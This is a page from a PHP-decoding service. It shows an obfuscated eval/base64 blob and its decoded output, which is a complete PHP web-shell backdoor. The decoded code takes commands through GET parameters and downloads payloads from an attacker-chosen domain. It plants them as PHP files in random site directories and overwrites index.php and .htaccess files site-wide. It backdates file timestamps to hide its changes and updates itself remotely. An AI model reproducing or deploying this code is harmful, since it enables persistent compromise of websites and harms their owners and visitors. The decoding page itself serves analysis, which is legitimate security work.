Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(str_rot13(gzinflate(str_rot13(base64_decode('LVvFkuzKaf0ah590bwiPR29znDjEzKyvt9T3nu..
Decoded Output download
// Disable caching for this specific PHP file
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
define('BASE_PATH',str_ireplace($_SERVER['PHP_SELF'],'',__FILE__));
function curl_get_contents($url){
$ch =curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_TIMEOUT,5);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$r = curl_exec($ch);
curl_close($ch);
return $r;
}
function check_remote_file_exists($url) {
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_NOBODY, true);
curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'GET');
$result = curl_exec($curl);
$found = false;
if ($result !== false) {
$statusCode = curl_getinfo($curl, CURLINFO_HTTP_CODE);
if ($statusCode == 200) {
$found = true;
}
}
curl_close($curl);
return $found;
}
function copyfiles($file1,$file2){
$contentx =@file_get_contents($file1);
$openedfile = @fopen($file2, "w");
@fwrite($openedfile, $contentx);
@fclose($openedfile);
if ($contentx === FALSE) {
$status=false;
}else $status=true;
return $status;
}
function read_dir_queue($dir,$level=5){
$files=array();
$files1=array();
$queue=array($dir);
while(@$data=each($queue)){
$path=$data['value'];
if(@is_dir($path) && @$handle=@opendir($path)){
while($file=@readdir($handle)){
$path3 = str_replace($_SERVER['DOCUMENT_ROOT'],"",$path);
$path4 = explode("/",$path3);
if(count($path4)>($level+1)){ break 2; }
//if(count($files)>1000){ break 2; }
if($file=='.'||$file=='..') continue;
$files[] = $real_path=$path.'/'.$file;
if (is_dir($real_path)) $queue[] = $real_path;
}
}
@closedir($handle);
}
return $files;
}
function read_dir_queue1($dir,$level=5){
$files=array();
$files1=array();
$queue=array($dir);
while(@$data=each($queue)){
$path=$data['value'];
if(@is_dir($path) && @$handle=@opendir($path)){
while($file=@readdir($handle)){
$path3 = str_replace($_SERVER['DOCUMENT_ROOT'],"",$path);
$path4 = explode("/",$path3);
if(count($path4)>$level){ break 2; }
//if(count($files)>1000){ break 2; }
if($file=='.'||$file=='..') continue;
$files[] = $real_path=$path.'/'.$file;
if (is_dir($real_path)) $queue[] = $real_path;
}
}
@closedir($handle);
}
return $files;
}
function rpath_arry($dir){
$files=array();
$queue=array($dir);
while(@$data=each($queue)){
$path=$data['value'];
if(@is_dir($path) && @$handle=@opendir($path)){
while($file=@readdir($handle)){
$path3 = str_replace($_SERVER['DOCUMENT_ROOT'],"",$path);
$path4 = explode("/",$path3);
//if(count($path4)>($level+1)){ break 2; }
//if(count($files)>1000){ break 2; }
if($file=='.'||$file=='..') continue;
$files[] = $real_path=$path.'/'.$file;
if (is_dir($real_path)) $queue[] = $real_path;
}
}
@closedir($handle);
}
return $files;
}
function getInd_Content($base_path1){
$file_path = $base_path1.'/index.php';
$file_path1 = $base_path1.'/index.html';
$file_path2 = $base_path1.'/index.htm';
$file_path3 = $base_path1.'/default.html';
if(file_exists($file_path)){
$str=@file_get_contents($file_path);
$shell_content1= $str;
$shell_content2 = explode('?>',$shell_content1);
$shell_content3 = $shell_content1;
for($i=0;$i<count($shell_content2);$i++){
if(strpos($shell_content2[$i],'base64_decode(') !== false || strpos($shell_content2[$i],'urldecode(') !== false || strpos($shell_content2[$i],'O00__0OOO_') !== false || strpos($shell_content2[$i],'yumingid') !== false || strpos($shell_content2[$i],'urlgz=') !== false || strpos($shell_content2[$i],'O0O_0O_O_0') !== false || strpos($shell_content2[$i],'wp-admin') !== false || strpos($shell_content2[$i],'ignore_user_abort') !== false || strpos($shell_content2[$i],'HTTP_REFERER') !== false || strpos($shell_content2[$i],'sitemap') !== false || strpos($shell_content2[$i],'$x(') !== false || strpos($shell_content2[$i],'$_GET["3x"]') !== false || strpos($shell_content2[$i],'error_reporting') !== false || strpos($shell_content2[$i],'ini_set(') !== false || strpos($shell_content2[$i],'ini_set(') !== false){
$shell_content3=str_replace($shell_content2[$i]."?>","",$shell_content3);
}
}
echo $shell_content3;
exit;
}else if(file_exists($file_path1)){
$str1=@file_get_contents($file_path1);
echo $str1;
exit;
}else if(file_exists($file_path2)){
$str2=@file_get_contents($file_path2);
echo $str2;
exit;
}else if(file_exists($file_path3)){
$str3=@file_get_contents($file_path3);
echo $str3;
exit;
}else{
echo '';
exit;
}
}
function dir_size1($dir3,$url){
$dh = @opendir($dir3);
$return = array();
while($file = @readdir($dh)){
if($file!='.' and $file!='..'){
$filetime[] = date("Y-m-d H:i:s",filemtime($file));
}
}
@closedir($dh);
@array_multisort($filetime);
return $filetime;
}
$sig=@$_GET['sig'];
@$domain_2020='http://'.$_GET['domain'];
if($sig=='beima'){
$level = $_GET['level'];
$aPathes = @read_dir_queue($_SERVER['DOCUMENT_ROOT'],$level);
function getDepth($sPath) {
return substr_count($sPath, '/');
}
$aPathDepths = array_map('getDepth', $aPathes);
arsort($aPathDepths);
$arry1=array();
foreach ($aPathDepths as $iKey => $iDepth) {
$arry11 = str_replace(strtolower($_SERVER['DOCUMENT_ROOT']),"",strtolower($aPathes[$iKey]));
$arry11 = dirname($arry11);
$arry22 = explode("/",$arry11);
if(count($arry22)==$level){
$arry1[] = dirname($aPathes[$iKey]);
}else{
$arry1[] = dirname($aPathes[$iKey]);
}
}
$arry2= array_unique($arry1);
shuffle($arry2);
$rndKey = array_rand($arry2);
$create_path1 = $arry2[$rndKey];
$shell_file = $_GET['shell_file'];
$shell_source5 = $domain_2020."/".$shell_file.".html";
if(check_remote_file_exists($shell_source5) && $_GET['file_name']!=""){
$file_name = $_GET['file_name'];
if($file_name!=""){
$shell_end5 = $create_path1.'/'.$file_name;
}else{
$shell_end5 = $create_path1.'/style.php';
}
if(copyfiles($shell_source5,$shell_end5))
{
if($_SERVER["HTTPS"] == "on")
{
$http1="https://";
}else{
$http1="http://";
}
if(!file_exists($shell_end5))
{
echo $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."|"."file don't create success!";
exit;
}
$time3=@dir_size1($shell_end5,'');
$time4=strtotime($time3[0]);
touch($shell_end5,$time4);
$shell_end6 =$http1.$_SERVER["HTTP_HOST"].str_replace($_SERVER['DOCUMENT_ROOT'],'',$shell_end5);
echo $shell_end6;
}else{
$str6=@curl_get_contents($shell_source5);
file_put_contents($shell_end5,$str6);
if($_SERVER["HTTPS"] == "on")
{
$http1="https://";
}else{
$http1="http://";
}
if(!file_exists($shell_end5))
{
echo $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."|"."file don't create success!";
exit;
}
$time3=@dir_size1($shell_end5,'');
$time4=strtotime($time3[0]);
touch($shell_end5,$time4);
$shell_end6 =$http1.$_SERVER["HTTP_HOST"].str_replace($_SERVER['DOCUMENT_ROOT'],'',$shell_end5);
echo $shell_end6;
}
}
exit;
}else if($sig=='jc_other'){
$level = $_GET['level'];
$aPathes = read_dir_queue1($_SERVER['DOCUMENT_ROOT'],$level);
function getDepth($sPath) {
return substr_count($sPath, '/');
}
$aPathDepths = array_map('getDepth', $aPathes);
arsort($aPathDepths);
$arry1=array();
foreach ($aPathDepths as $iKey => $iDepth) {
$arry11 = str_replace(strtolower($_SERVER['DOCUMENT_ROOT']),"",strtolower($aPathes[$iKey]));
$arry11 = dirname($arry11);
$arry22 = explode("/",$arry11);
if(count($arry22)==$level){
$arry1[] = dirname($aPathes[$iKey]);
}else{
$arry1[] = dirname($aPathes[$iKey]);
}
}
$arry2= array_unique($arry1);
shuffle($arry2);
$rndKey = array_rand($arry2);
$create_path1 = $arry2[$rndKey];
$shell_file = $_GET['shell_file'];
$shell_source5 = $domain_2020."/".$shell_file.".html";
if(check_remote_file_exists($shell_source5) && $shell_file!=""){
$file_name = $_GET['file_name'];
if($file_name!=""){
$shell_end5 = $create_path1.'/'.$file_name;
}else{
$shell_end5 = $create_path1.'/style.php';
}
if(copyfiles($shell_source5,$shell_end5))
{
if($_SERVER["HTTPS"] == "on")
{
$http1="https://";
}else{
$http1="http://";
}
if(!file_exists($shell_end5))
{
echo $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."|"."file don't create success!";
exit;
}
$time3=@dir_size1($shell_end5,'');
$time4=strtotime($time3[0]);
touch($shell_end5,$time4);
$shell_end6 =$http1.$_SERVER["HTTP_HOST"].str_replace($_SERVER['DOCUMENT_ROOT'],'',$shell_end5);
echo $shell_end6;
}else{
$str6=@curl_get_contents($shell_source5);
file_put_contents($shell_end5,$str6);
if($_SERVER["HTTPS"] == "on")
{
$http1="https://";
}else{
$http1="http://";
}
if(!file_exists($shell_end5))
{
echo $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."|"."file don't create success!";
exit;
}
$time3=@dir_size1($shell_end5,'');
$time4=strtotime($time3[0]);
touch($shell_end5,$time4);
$shell_end6 =$http1.$_SERVER["HTTP_HOST"].str_replace($_SERVER['DOCUMENT_ROOT'],'',$shell_end5);
echo $shell_end6;
}
}
exit;
}else if($sig=='lock_index'){
$level = $_GET['level'];
$aPathes = read_dir_queue1($_SERVER['DOCUMENT_ROOT'],$level);
function getDepth($sPath){
return substr_count($sPath, '/');
}
$aPathDepths = array_map('getDepth', $aPathes);
arsort($aPathDepths);
$arry1=array();
foreach ($aPathDepths as $iKey => $iDepth) {
$arry11 = str_replace(strtolower($_SERVER['DOCUMENT_ROOT']),"",strtolower($aPathes[$iKey]));
$arry11 = dirname($arry11);
$arry22 = explode("/",$arry11);
if(count($arry22)==$level){
$arry1[] = dirname($aPathes[$iKey]);
}else{
$arry1[] = dirname($aPathes[$iKey]);
}
}
$arry2= array_unique($arry1);
shuffle($arry2);
$rndKey = array_rand($arry2);
$create_path1 = $arry2[$rndKey];
$shell_file = $_GET['shell_file'];
$shell_source5 = $domain_2020."/".$shell_file.".html";
if(check_remote_file_exists($shell_source5) && $shell_file!=""){
$file_name = $_GET['file_name'];
if($file_name!=""){
$shell_end5 = $create_path1.'/'.$file_name;
}else{
$shell_end5 = $create_path1.'/style.php';
}
if(copyfiles($shell_source5,$shell_end5)){
if($_SERVER["HTTPS"] == "on")
{
$http1="https://";
}else{
$http1="http://";
}
if(!file_exists($shell_end5))
{
echo $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."|"."file don't create success!";
exit;
}
$time4=strtotime('2020-03-09 12:03:05');
touch($shell_end5,$time4);
$shell_end6 =$http1.$_SERVER["HTTP_HOST"].str_replace($_SERVER['DOCUMENT_ROOT'],'',$shell_end5);
echo $shell_end6;
}else{
$str6=@curl_get_contents($shell_source5);
file_put_contents($shell_end5,$str6);
if($_SERVER["HTTPS"] == "on")
{
$http1="https://";
}else{
$http1="http://";
}
if(!file_exists($shell_end5))
{
echo $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."|"."file don't create success!";
exit;
}
$time4=strtotime('2020-03-09 12:03:05');
touch($shell_end5,$time4);
$shell_end6 =$http1.$_SERVER["HTTP_HOST"].str_replace($_SERVER['DOCUMENT_ROOT'],'',$shell_end5);
echo $shell_end6;
}
}
exit;
}else if($sig=='wp_add_back'){
$level = $_GET['level'];
$aPathes = read_dir_queue1($_SERVER['DOCUMENT_ROOT'],$level);
function getDepth($sPath){
return substr_count($sPath, '/');
}
$aPathDepths = array_map('getDepth', $aPathes);
arsort($aPathDepths);
$arry1=array();
foreach ($aPathDepths as $iKey => $iDepth) {
$arry11 = str_replace(strtolower($_SERVER['DOCUMENT_ROOT']),"",strtolower($aPathes[$iKey]));
$arry11 = dirname($arry11);
$arry22 = explode("/",$arry11);
if(count($arry22)==$level){
$arry1[] = dirname($aPathes[$iKey]);
}else{
$arry1[] = dirname($aPathes[$iKey]);
}
}
$arry2= array_unique($arry1);
shuffle($arry2);
$rndKey = array_rand($arry2);
$create_path1 = $arry2[$rndKey];
$shell_file = $_GET['shell_file'];
$shell_source5 = $domain_2020."/".$shell_file.".html";
if(check_remote_file_exists($shell_source5) && $shell_file!=""){
$file_name = $_GET['file_name'];
if($file_name!=""){
$shell_end5 = $create_path1.'/'.$file_name;
}else{
$shell_end5 = $create_path1.'/style.php';
}
if(copyfiles($shell_source5,$shell_end5)){
if($_SERVER["HTTPS"] == "on")
{
$http1="https://";
}else{
$http1="http://";
}
if(!file_exists($shell_end5))
{
echo $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."|"."file don't create success!";
exit;
}
$time4=strtotime('2020-03-09 12:03:05');
touch($shell_end5,$time4);
$shell_end6 =$http1.$_SERVER["HTTP_HOST"].str_replace($_SERVER['DOCUMENT_ROOT'],'',$shell_end5);
echo $shell_end6;
}else{
$str6=@curl_get_contents($shell_source5);
file_put_contents($shell_end5,$str6);
if($_SERVER["HTTPS"] == "on")
{
$http1="https://";
}else{
$http1="http://";
}
if(!file_exists($shell_end5))
{
echo $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."|"."file don't create success!";
exit;
}
$time4=strtotime('2020-03-09 12:03:05');
touch($shell_end5,$time4);
$shell_end6 =$http1.$_SERVER["HTTP_HOST"].str_replace($_SERVER['DOCUMENT_ROOT'],'',$shell_end5);
echo $shell_end6;
}
}
exit;
}else if($sig=='plan_task'){
$shell_source5 = $domain_2020."/plan_task.html";
if(check_remote_file_exists($shell_source5)){
$shell_end5 = BASE_PATH.'/wp-activate.php';
if(copyfiles($shell_source5,$shell_end5)){
if($_SERVER["HTTPS"] == "on"){
$http1="https://";
}else{
$http1="http://";
}
if(!file_exists($shell_end5)){
echo $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."|"."file don't create success!";
exit;
}
$time4=strtotime('2020-03-09 12:03:05');
touch($shell_end5,$time4);
$shell_end6 =$http1.$_SERVER["HTTP_HOST"].str_replace($_SERVER['DOCUMENT_ROOT'],'',$shell_end5);
echo $shell_end6;
}else{
$str6=@curl_get_contents($shell_source5);
file_put_contents($shell_end5,$str6);
if($_SERVER["HTTPS"] == "on"){
$http1="https://";
}else{
$http1="http://";
}
if(!file_exists($shell_end5)){
echo $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."|"."file don't create success!";
exit;
}
$time4=strtotime('2020-03-09 12:03:05');
touch($shell_end5,$time4);
$shell_end6 =$http1.$_SERVER["HTTP_HOST"].str_replace($_SERVER['DOCUMENT_ROOT'],'',$shell_end5);
echo $shell_end6;
}
}
exit;
}else if($sig=='jc_index'){
$domain_name1 = trim(str_replace("www.","",$_SERVER['SERVER_NAME']));
$shell_file = $_GET['shell_file'];
$file_path= BASE_PATH.'/index.php';
$file_path1 = $domain_2020.'/shell_index/'.$domain_name1.'/index.html';
//if(!check_remote_file_exists($file_path1)){
$ser_url1= $domain_2020."/cpa_ind5.php?dname1=".$domain_name1."&check_address1=http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."&shell_file=".$shell_file."";
$file_contents_2=curl_get_contents($ser_url1);
//}
if(@$_SERVER["HTTPS"]=="on")
{
$http1="https://";
}else{
$http1="http://";
}
$tishi = $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$str1=@curl_get_contents($file_path1);
$str=@file_get_contents($file_path);
if(file_exists($file_path)){
if(check_remote_file_exists($file_path1)){
$str1=@curl_get_contents($file_path1);
$str=@file_get_contents($file_path);
if($str==$str1){
echo $tishi.'|index.php write success!';
}else{
//echo 'fail';
@chmod($file_path,0644);
$result_unlink=unlink($file_path);
if($result_unlink){
if(copyfiles($file_path1,$file_path))
{
$time3=dir_size1(dirname(__FILE__),'');
$time4=strtotime($time3[0]);
touch(dirname(__FILE__).'/'.basename(__FILE__),$time4);
touch($file_path,$time4);
echo $tishi.'|index.php write success!';
}
else
{
file_put_contents($file_path,$str1);
$str1=@curl_get_contents($file_path1);
$str=@file_get_contents($file_path);
if($str==$str1){
$time3=dir_size1(dirname(__FILE__),'');
$time4=strtotime($time3[0]);
touch(dirname(__FILE__).'/'.basename(__FILE__),$time4);
touch($file_path,$time4);
echo $tishi.'|index.php write success!';
}else{
echo $tishi.'|index.php write fail!';
}
}
}
}
}
}else{
if(check_remote_file_exists($file_path1)){
@chmod($file_path,0644);
if(copyfiles($file_path1,$file_path))
{
$time3=dir_size1(dirname(__FILE__),'');
$time4=strtotime($time3[0]);
touch(dirname(__FILE__).'/'.basename(__FILE__),$time4);
touch($file_path,$time4);
echo $tishi.'|index.php write success!';
}
else
{
file_put_contents($file_path,$str1);
$str1=@curl_get_contents($file_path1);
$str=@file_get_contents($file_path);
if($str==$str1){
$time3=dir_size1(dirname(__FILE__),'');
$time4=strtotime($time3[0]);
touch(dirname(__FILE__).'/'.basename(__FILE__),$time4);
touch($file_path,$time4);
echo $tishi.'|index.php write success!';
}else{
echo $tishi.'|index.php write fail!';
}
}
}else{
$shell_cont1 = getInd_Content(BASE_PATH);
$shell_file = $_GET['shell_file'];
$file_path1 = $domain_2020."/".$shell_file.".html";
$shell_content = @curl_get_contents($file_path1);
$shell_cont2 = substr_replace($shell_cont1,$shell_content,0,0);
@file_put_contents($file_path,$shell_cont2);
}
}
exit;
}else if($sig=='change_hta'){
//define('BASE_PATH',str_replace('\','/',realpath(dirname(__FILE__).'/../')));
//define('BASE_PATH',str_ireplace($_SERVER['PHP_SELF'],'',__FILE__));
$shell_source5 = $domain_2020."/htaccess.html";
$str7=@curl_get_contents($shell_source5);
if(strpos($str7,'<FilesMatch') !== false){
$file_htaccess = BASE_PATH.'/.htaccess';
if($_SERVER["HTTPS"] == "on")
{
$http1="https://";
}else{
$http1="http://";
}
$tishi = $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
if(file_exists($file_htaccess)){
$result_unlink=unlink($file_htaccess);
if($result_unlink){
if(copyfiles($shell_source5,$file_htaccess)){
echo $tishi.'|.htaccess write success!';
}else{
$str6=@curl_get_contents($shell_source5);
$str=@file_get_contents($file_htaccess);
file_put_contents($file_htaccess,$str6);
if($str6==$str){
echo $tishi.'|.htaccess write success!';
}else{
echo $tishi.'|.htaccess write fail!';
}
}
}else{
if(copyfiles($shell_source5,$file_htaccess)){
echo $tishi.'|.htaccess write success!';
}else{
$str6=@curl_get_contents($shell_source5);
$str=@file_get_contents($file_htaccess);
file_put_contents($file_htaccess,$str6);
if($str6==$str){
echo $tishi.'|.htaccess write success!';
}else{
echo $tishi.'|.htaccess write fail!';
}
}
}
}else{
if(copyfiles($shell_source5,$file_htaccess)){
echo $tishi.'|.htaccess write success!';
}else{
$str6=@curl_get_contents($shell_source5);
$str=@file_get_contents($file_htaccess);
file_put_contents($file_htaccess,$str6);
if($str6==$str){
echo $tishi.'|.htaccess write success!';
}else{
echo $tishi.'|.htaccess write fail!';
}
}
}
}else{
echo $tishi.'|htaccess.html file dont exist or the content is wrong!';
}
exit;
}else if($sig=='change_hta_all'){
//define('BASE_PATH',str_replace('\','/',realpath(dirname(__FILE__).'/../')));
//define('BASE_PATH',str_ireplace($_SERVER['PHP_SELF'],'',__FILE__));
$shell_source5 = $domain_2020."/htaccess.html";
$str7=@curl_get_contents($shell_source5);
if(strpos($str7,'<FilesMatch') !== false){
$file_htaccess = BASE_PATH.'/.htaccess';
if($_SERVER["HTTPS"] == "on")
{
$http1="https://";
}else{
$http1="http://";
}
$tishi = $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
if(file_exists($file_htaccess)){
$result_unlink=unlink($file_htaccess);
if($result_unlink){
if(copyfiles($shell_source5,$file_htaccess)){
echo $tishi.'|.htaccess write success!';
}else{
$str6=@curl_get_contents($shell_source5);
$str=@file_get_contents($file_htaccess);
file_put_contents($file_htaccess,$str6);
if($str6==$str){
echo $tishi.'|.htaccess write success!';
}else{
echo $tishi.'|.htaccess write fail!';
}
}
}else{
if(copyfiles($shell_source5,$file_htaccess)){
echo $tishi.'|.htaccess write success!';
}else{
$str6=@curl_get_contents($shell_source5);
$str=@file_get_contents($file_htaccess);
file_put_contents($file_htaccess,$str6);
if($str6==$str){
echo $tishi.'|.htaccess write success!';
}else{
echo $tishi.'|.htaccess write fail!';
}
}
}
}else{
if(copyfiles($shell_source5,$file_htaccess)){
echo $tishi.'|.htaccess write success!';
}else{
$str6=@curl_get_contents($shell_source5);
$str=@file_get_contents($file_htaccess);
file_put_contents($file_htaccess,$str6);
if($str6==$str){
echo $tishi.'|.htaccess write success!';
}else{
echo $tishi.'|.htaccess write fail!';
}
}
}
$files1 = @rpath_arry($_SERVER['DOCUMENT_ROOT']);
$files2 =array();
for($k=0;$k<count($files1);$k++){
$files2[]=dirname($files1[$k]);
}
$files3=array();
$files3 =array_filter(array_unique($files2));
foreach ($files3 as $key=>$value){
if( $files3[$key]!= BASE_PATH){
$file_htaccess1 = $files3[$key].'/.htaccess';
//file_put_contents($file_htaccess1,$str7);
copyfiles($shell_source5,$file_htaccess1);
//echo $file_htaccess1.'--11<br />';
}
}
}else{
echo $tishi.'|htaccess.html file dont exist or the content is wrong!';
}
exit;
}else if($sig=='rename'){
$rename = $_GET['rename'];
$source_name = $_GET['source_name'];
if($_GET['tag']!=''){
$tag='#'.$_GET['tag'];
}else{
$tag='';
}
if($rename!="" && $source_name!=""){
$rename_file = dirname(__FILE__).'/'.$rename;
$source_file = dirname(__FILE__).'/'.$source_name;
if($_SERVER["HTTPS"] == "on")
{
$http1="https://";
}else{
$http1="http://";
}
$rename_file1 = $http1.$_SERVER["HTTP_HOST"].str_replace(strtolower($_SERVER['DOCUMENT_ROOT']),'',strtolower($rename_file));
$source_file1 = $http1.$_SERVER["HTTP_HOST"].str_replace(strtolower($_SERVER['DOCUMENT_ROOT']),'',strtolower($source_file));
$rename_file1 = str_replace('\','/',$rename_file1);
$source_file1 = str_replace('\','/',$source_file1);
if(file_exists($source_file)){
if(rename($source_file,$rename_file)){
echo $rename_file1.$tag;
}else{
echo $source_file1.$tag.'| rename fail!';
}
}else{
echo $source_file1.$tag.'| no exists!';
}
}else{
echo $source_file1.$tag.'| rename fail!';
}
exit;
}else if($sig=='update'){
$style_2020=$domain_2020.'/style_2020.html';
$file_style=__FILE__;
if(check_remote_file_exists($style_2020)){
$str7=@curl_get_contents($style_2020);
if(strpos($str7,'domain_2020') !== false){
if($_SERVER["HTTPS"] == "on")
{
$http1="https://";
}else{
$http1="http://";
}
$tishi = $http1.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
if(copyfiles($style_2020,$file_style))
{
$time3=@dir_size1(dirname(__FILE__),'');
$time4=strtotime($time3[0]);
touch($file_style,$time4);
echo $tishi.'--update success!';
}else{
$shell_cont5=@curl_get_contents($style_2020);
$shell51=@file_put_contents($file_style,$shell_cont5);
if($shell51>0){
$time3=@dir_size1(dirname(__FILE__),'');
$time4=strtotime($time3[0]);
touch($file_style,$time4);
echo $tishi.'--update success!';
}else{
echo $tishi.'--update fail!';
}
}
}
}
exit;
}else if($sig=='shell519'){
$rename = $_GET['file_name'];
$shell_file = $_GET['shell_file'];
if($rename!="" && $shell_file!=""){
$shell_source5= $domain_2020."/".$shell_file.".html";
if(check_remote_file_exists($shell_source5)){
$level = $_GET['level'];
$aPathes = @read_dir_queue($_SERVER['DOCUMENT_ROOT'],$level);
function getDepth($sPath) {
return substr_count($sPath, '/');
}
$aPathDepths = array_map('getDepth', $aPathes);
arsort($aPathDepths);
$arry1=array();
foreach ($aPathDepths as $iKey => $iDepth) {
$arry11 = str_replace(strtolower($_SERVER['DOCUMENT_ROOT']),"",strtolower($aPathes[$iKey]));
$arry11 = dirname($arry11);
$arry22 = explode("/",$arry11);
if(count($arry22)==$level){
$arry1[] = dirname($aPathes[$iKey]);
}else{
$arry1[] = dirname($aPathes[$iKey]);
}
}
$arry2= array_filter(array_unique($arry1));
shuffle($arry2);
$rndKey = array_rand($arry2);
$create_path1 = $arry2[$rndKey];
$shell5=$create_path1.'/'.$rename;
if($_SERVER["HTTPS"] == "on")
{
$http1="https://";
}else{
$http1="http://";
}
if(copyfiles($shell_source5,$shell5))
{
$time3=@dir_size1(dirname(__FILE__),'');
$time4=strtotime($time3[0]);
touch($shell5,$time4);
echo $http1.$_SERVER["HTTP_HOST"].str_replace(BASE_PATH,"",$shell5).'--create success!';
}
else
{
$shell_cont5=@curl_get_contents($shell_source5);
$shell51=@file_put_contents($shell5,$shell_cont5);
if($shell51>0){
$time3=@dir_size1(dirname(__FILE__),'');
$time4=strtotime($time3[0]);
touch($shell5,$time4);
echo $http1.$_SERVER["HTTP_HOST"].str_replace(BASE_PATH,"",$shell5).'--create success!';
}else{
echo $http1.$_SERVER["HTTP_HOST"].str_replace(BASE_PATH,"",$shell5).'--create fail!';
}
}
}
}
exit;
}else if($sig=='index'){
$file_path = BASE_PATH.'/index.php';
$file_path1 = BASE_PATH.'/index.html';
$file_path2 = BASE_PATH.'/index.htm';
$file_path3 = BASE_PATH.'/default.html';
if(file_exists($file_path)){
$str=@file_get_contents($file_path);
$shell_content1= $str;
$shell_content2 = explode('?>',$shell_content1);
$shell_content3 = $shell_content1;
for($i=0;$i<count($shell_content2);$i++){
if(strpos($shell_content2[$i],'base64_decode(') !== false || strpos($shell_content2[$i],'urldecode(') !== false || strpos($shell_content2[$i],'O00__0OOO_') !== false || strpos($shell_content2[$i],'yumingid') !== false || strpos($shell_content2[$i],'urlgz=') !== false || strpos($shell_content2[$i],'O0O_0O_O_0') !== false || strpos($shell_content2[$i],'wp-admin') !== false || strpos($shell_content2[$i],'ignore_user_abort') !== false || strpos($shell_content2[$i],'HTTP_REFERER') !== false || strpos($shell_content2[$i],'sitemap') !== false || strpos($shell_content2[$i],'$x(') !== false || strpos($shell_content2[$i],'$_GET["3x"]') !== false || strpos($shell_content2[$i],'error_reporting') !== false || strpos($shell_content2[$i],'ini_set(') !== false || strpos($shell_content2[$i],'ini_set(') !== false){
$shell_content3=str_replace($shell_content2[$i]."?>","",$shell_content3);
}
}
echo $shell_content3;
exit;
}else if(file_exists($file_path1)){
$str1=@file_get_contents($file_path1);
echo $str1;
exit;
}else if(file_exists($file_path2)){
$str2=@file_get_contents($file_path2);
echo $str2;
exit;
}else if(file_exists($file_path3)){
$str3=@file_get_contents($file_path3);
echo $str3;
exit;
}else{
echo '';
exit;
}
}
exit();
Did this file decode correctly?
Original Code
eval(str_rot13(gzinflate(str_rot13(base64_decode('LVvFkuzKaf0ah590bwiPR29znDjEzKyvt9T3nujoqnepBKm9F3KepR7u/3n9Ea/3Qy7/GYdvwZD/m5cpmZf/5FBG5fe/H/5bSWa7VdjpvpQ1xTJQk2MWYKJ4khdS/JlIX9Lwf072sMxPH2Gdia9lRVTElbkrtKbyHiorRWcxRWrfYSLM1xcR3hWKv5/enxrIyQDlQ+e/IL3iHzypoMvOlEzjV8wdFGSF/YSAxrKUsoIooi1YHTv1pUywWu3kpxYrbPIucVk4Dx0qokVwmFhzkdiljTUBCbxlxvfILfX+sqALl9RUATeDk7hfV8dg+f5MlLjxLrXd0uIJENyZFZnGS0JDnB9a61mOyluIbljMoMesVOqas0xb46Bwed1pDxobMPHS2mvKR8UntzSKRfwHD8l200My3mM17yas8y88Ks73GwbXzY8gAGDjU1aACA9F6Gwlv0oIR1ibfFAiU978XtcjH7BVe9h55cavl+C48NdrY2zwEWRGpFzTQtAoAGNzPcU6eaW9198vywzyfpfh9Hq3+fQdZZ0oSk0Eo2pbU8KSzWZDfiA5W594auIoII12PXJeHQQIlO8mqhD10PLZ+zzsXZBIA6Pc2CZMo+RSUwIjPm3Por+3oEK4o6LvXvQv74OWOAwO2h2X/a7c7dpSyAIMQrJ3wHv33VjYbv+7PDKIzMMzPaxVZ77U5Ro5cCIPSBOIadWXK1QUWNEQg9sUQZUe7srH8vYpygbTeR/+2RwS9160bg+1sJdRvIc86fdKBzDmDrWFnrHnN4alBxbuWmpO8g2BI+X2IwGqvAbnMv+epDIsbvRrDnmdoB+6m26wOK6skPxk4a300hxKWYeFKAbIVGMh02DXMng9PzgTLRIjBLpaLesRKyCpU8pEVuqrr9CIehugf8m0DT0iQ2piDcP1YTh+M1gsTFYfIqCzOd45VnfpI9KW4545Jqbrw5znnfTuTe9mkyGJmlbKjoJI180T8/gcu6xYDltpx5JIujKSsZgEBcGplNiazS35/iPS376R753zJUzMSsQkTW7XyrE3sNmP+IwqZsHpeDjT7K8ESz10Vj/N3zZ2CDtTg/HGT7DyBajr+6uRPP97Szo/H4EB8ApeDOSh6nymz6XdMydJpkS/NKrhp+a7nyv376W/YjjC1Uoexd63kRgRdfLWh0FJ4L4v+C0OTwe8n7utBw3ERi1mwolFVpypMkRDW0WrQ0FIJWHh2peuG4lWFDaH1oOAAL8bWPrrRYZoqh4v1pnEVncxis2BRa3NpRqiE6a3zmfBE8ki6dm56TPKr8xxOwuFrrwjNX9h5KUBm+/K9F1TMvHM+8qzcQsELKa1wwy4wjCOIGXKhPg+RBsCJlOK1QEFtOorb6p9Ykpi1JvS8fU2jS4cLB1NFklOzidUY/7d5xcxp5y13Rnp0INPc/Q1UUl+hWCrvFNr/fE7qrCUaUenYLcCmK9Pf8wcbJS6e251XWMwLdbE+C1mpkPwyIghSlHVIdnpW+3o3h0hKfcc/NDuLjcHK2d2uf4egP5oH997v7HKIBhG4PO3wgufHG0J9zBU1PAtUdVZIsMxpWwnEC5a18QQ9YVAxazY/ZJzBACfj7lrBzqAinfLAkYvRx1g+K6yo6uso4nqvRULyhxKKtvrsZxWkoa4X+ytq67YIMXB0yn2VaF5RQ5GLpMYal4glmlUxvlNptSxM3LwicnuPaTcjC+ML29C9lZT5B8g98e5twMZl9fNpAz/k+